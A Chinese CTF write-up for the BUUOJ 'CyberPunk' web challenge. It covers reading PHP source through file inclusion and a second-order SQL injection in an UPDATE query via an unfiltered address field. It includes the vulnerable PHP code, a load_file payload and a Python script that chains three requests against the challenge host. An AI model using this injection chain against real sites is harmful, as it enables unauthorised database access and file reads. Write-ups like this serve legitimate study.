0%

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

buu上的老题,文件包含加二次注入,还是个update注入,幸好没过滤不然做不出来了

文件包含

index.php中有注释提示?file参数,猜就是文件包含,直接读源码,翻一下一共能找到index.php,config.php,change.php,delete.php,search.php,confirm.php六个文件,全部用filter读下来,很简单对吧

update注入

index.php里面虽然给了一个文件包含,不过有一定的限制,还设置了openbasedir,并且剩下的代码都是数据库相关操作,懒得考虑文件包含还能怎么利用了,看数据库操作
change.php,delete.php,search.php,confirm.php四个文件分别完成修改删除查找和插入四个功能,其中每个操作都对用户名和手机号做了超级过滤$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';,有这样子的正则限制,感觉是什么也做不了了,但是address项却未做任何过滤,可以考虑通过address进行注入
在change.php中发现address被拿进去用了,虽然confirm.php中也使用了address,但是用的SQL预处理,无法注入,而change.php中是将已入库的数据又拿出来用,显然构成了二次注入

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
?>

old_address的值完全可控且不受限制,而紧随其后的还有一个$db->error的输出,可以使用报错注入来获取数据,报错注入有一个长度限制,所以这里我使用另一种方法
由于address可被查询,可以闭合一下引号,再次对address进行赋值,这样子就可以把查询结果回显出来
payload如下
payload = "',\address`={} where user_name=’z33’ – “.format(“(select * from(select load_file(‘/flag.txt’))a)”)`
在update语句中使用select的时候要额外套一层select然后还要给内层select起一个别名(原理没深究过但的确是这样的)
无过滤语句以此payload可以为所欲为了

因为一次攻击需要访问三个界面太麻烦,写了个垃圾脚本

import requests

url = "http://2e1c4b3c-565d-423f-90d7-ac12827e9518.node3.buuoj.cn/"
phone = "28"
payload = "',`address`={} where user_name='z33' -- ".format("(select * from(select load_file('/flag.txt'))a)")
data = {"user_name": "z33", "phone": phone, "address": payload}
res1 = requests.post(url=url+"confirm.php", data=data)
data = {"user_name": "z33", "phone": phone, "address": "111"}
res2 = requests.post(url=url+"change.php", data=data)
# print(res2.text)
data = {"user_name": "z33", "phone": phone}
res3 = requests.post(url=url+"search.php", data=data)
print(res3.text)

可以看出来攻击过程是先提交数据,然后在change中将payload从库中取出完成修改,最后去search.php查询得到数据,phone每次提交改一下,不然新的数据插入不进去

坑点

我其实不知道flag在哪,一开始看是SQL注入题,以为是暴库,然后先把默认的database翻了一遍,锤子没找到,然后去翻全部库,翻到两个非系统库,把两个库翻了个底朝天,也锤子没翻到,心态爆炸,看wp都是直接去读根目录的flag.txt???那我只能猜测可能是比赛告诉了flag位置?还是有什么我没发现的点可以获取flag?